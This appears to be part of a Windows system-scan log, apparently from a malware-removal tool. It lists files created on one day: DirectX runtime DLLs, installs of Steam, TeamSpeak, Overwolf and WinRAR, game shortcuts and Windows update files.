2017-05-30 22:13 - 2017-05-30 22:13 - 00000201 _____ C:\Users\****\Desktop\Men of War Assault Squad.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000201 _____ C:\Users\****\Desktop\Anno 1404.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000199 _____ C:\Users\****\Desktop\Counter-Strike Global Offensive.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Infestation The New Z.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Europa Universalis IV.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000201 _____ C:\Users\****\Desktop\The Guild II Renaissance.url
2017-05-30 22:03 - 2010-06-02 04:55 - 00527192 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00518488 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00239960 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00077656 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02526056 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02106216 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01907552 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01868128 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_43.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00530776 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00528216 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00078680 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_7.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_7.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00517960 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00515416 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00176968 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00073544 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00069464 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05554512 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05501792 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02582888 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02475352 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01974616 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01892184 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00523088 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00285024 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00235344 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_42.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00521560 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00517448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00235352 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00174936 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 05425496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 04178264 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 02430312 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 01846632 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00520544 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_41.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00518480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00514384 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00235856 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00175440 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00074576 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00070992 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00025936 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00023376 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 05631312 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 04379984 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02605920 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02036576 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00519000 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00452440 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_40.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00072200 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00068616 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00513544 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00509448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-10 11:01 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 04992520 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 03851784 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01942552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01493528 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_39.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00511496 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00507400 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00068104 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00065032 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:16 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 04991496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 03850760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01941528 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01491992 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_38.dll
2017-05-30 22:03 - 2008-03-05 16:04 - 00489480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00479752 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 04910088 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 03786760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01860120 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01420824 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00529424 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00462864 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_37.dll
2017-05-30 22:03 - 2007-10-22 03:40 - 00411656 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:39 - 00267272 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00021000 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00017928 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 05081608 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 03734536 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 02006552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 01374232 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_36.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00411496 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00267112 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 05073256 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 03727720 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01985904 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01358192 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_35.dll
2017-05-30 22:03 - 2007-06-20 20:49 - 00409960 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_8.dll
2017-05-30 22:03 - 2007-06-20 20:46 - 00266088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_8.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 04496232 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 03497832 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01401200 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01124720 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_34.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00403304 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00261480 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:54 - 00107368 _____ (Microsoft Corporation) C:\windows\system32\xinput1_3.dll
2017-05-30 22:03 - 2007-04-04 18:53 - 00081768 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_3.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 04494184 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 03495784 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01400176 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01123696 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00017688 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_1.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00015128 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_1.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00393576 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_6.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00255848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_6.dll
2017-05-30 22:03 - 2006-12-08 12:02 - 00251672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_5.dll
2017-05-30 22:03 - 2006-12-08 12:00 - 00390424 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_5.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 04398360 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 03426072 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00469264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00440080 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 03977496 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 02414360 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 00237848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_4.dll
2017-05-30 22:03 - 2006-09-28 16:04 - 00364824 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_4.dll
2017-05-30 22:03 - 2006-07-28 09:31 - 00083736 _____ (Microsoft Corporation) C:\windows\system32\xinput1_2.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00363288 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00236824 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00062744 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_2.dll
2017-05-30 22:03 - 2006-05-31 07:24 - 00230168 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_2.dll
2017-05-30 22:03 - 2006-05-31 07:22 - 00354072 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_2.dll
2017-05-30 22:03 - 2006-03-31 12:41 - 03927248 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 02388176 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 00352464 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00229584 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00083664 _____ (Microsoft Corporation) C:\windows\system32\xinput1_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00062672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_1.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 03830992 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 02332368 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00355536 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00230096 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00016592 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00014032 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_0.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 03815120 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_28.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 02323664 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_28.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 03807440 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_27.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 02319568 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_27.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 03767504 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_26.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 02297552 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_26.dll
2017-05-30 22:03 - 2005-03-18 17:19 - 03823312 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_25.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 03544272 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_24.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 02222800 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_24.dll
2017-05-30 22:02 - 2017-05-30 22:02 - 00000000 ____D C:\Users\****\Documents\My Games
2017-05-30 21:29 - 2017-05-30 21:29 - 00000202 _____ C:\Users\****\Desktop\Rocket League.url
2017-05-30 21:28 - 2017-05-30 21:28 - 00000201 _____ C:\Users\****\Desktop\Mount & Blade Warband.url
2017-05-30 21:23 - 2017-05-30 21:23 - 00000554 _____ C:\Users\Public\Desktop\Steam.lnk
2017-05-30 21:23 - 2017-05-30 21:23 - 00000000 ____D C:\Users\****\AppData\Roaming\NVIDIA
2017-05-30 21:14 - 2015-09-24 20:45 - 05017446 _____ C:\Users\****\Desktop\Tracers.zip
2017-05-30 21:14 - 2014-07-07 19:02 - 04001792 _____ C:\Users\****\Desktop\Uniformen+Banner(Finalversion).rar
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\Steam
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\CEF
2017-05-30 20:55 - 2017-05-30 20:55 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-30 20:53 - 2017-05-30 20:53 - 01446792 _____ C:\Users\****\Downloads\SteamSetup.exe
2017-05-30 20:52 - 2017-05-30 20:52 - 00000000 ____H C:\windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf
2017-05-30 20:45 - 2017-05-30 20:45 - 00004382 _____ C:\windows\System32\Tasks\Overwolf Updater Task
2017-05-30 20:45 - 2017-05-30 20:45 - 00001156 _____ C:\Users\Public\Desktop\Overwolf.lnk
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.TeamSpeak 3
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.QtWebEngineProcess
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\ProgramData\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Program Files (x86)\Overwolf
2017-05-30 20:44 - 2017-06-03 00:40 - 00000000 ____D C:\Users\****\AppData\Local\Overwolf
2017-05-30 20:44 - 2017-06-02 17:36 - 00000000 ____D C:\Users\****\AppData\Roaming\TS3Client
2017-05-30 20:44 - 2017-05-30 20:44 - 00001014 _____ C:\Users\Public\Desktop\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000976 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000000 ____D C:\Program Files\TeamSpeak 3 Client
2017-05-30 20:42 - 2017-05-30 20:43 - 77604984 _____ (TeamSpeak Systems GmbH) C:\Users\****\Downloads\TeamSpeak3-Client-win64-3.1.4.exe
2017-05-30 20:42 - 2017-05-30 20:42 - 00001054 _____ C:\Users\Public\Desktop\WinRAR.lnk
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Program Files\WinRAR
2017-05-30 20:41 - 2017-05-30 20:41 - 02309992 _____ C:\Users\****\Downloads\winrar-x64-540d.exe
2017-05-30 11:06 - 2017-05-20 11:13 - 01333136 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctf.dll
2017-05-30 11:06 - 2017-05-20 11:13 - 00626528 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 10:55 - 00606960 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 10:53 - 02259760 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 10:48 - 04469832 _____ (Microsoft Corporation) C:\windows\SysWOW64\explorer.exe
2017-05-30 11:06 - 2017-05-20 10:47 - 01474800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 05821496 _____ (Microsoft Corporation) C:\windows\SysWOW64\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 01266544 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 00754080 _____ (Microsoft Corporation) C:\windows\SysWOW64\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 10:45 - 00349600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00519680 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00181664 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 06760024 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 05802968 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 04672848 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfcore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 02424016 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01529384 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmde.dll
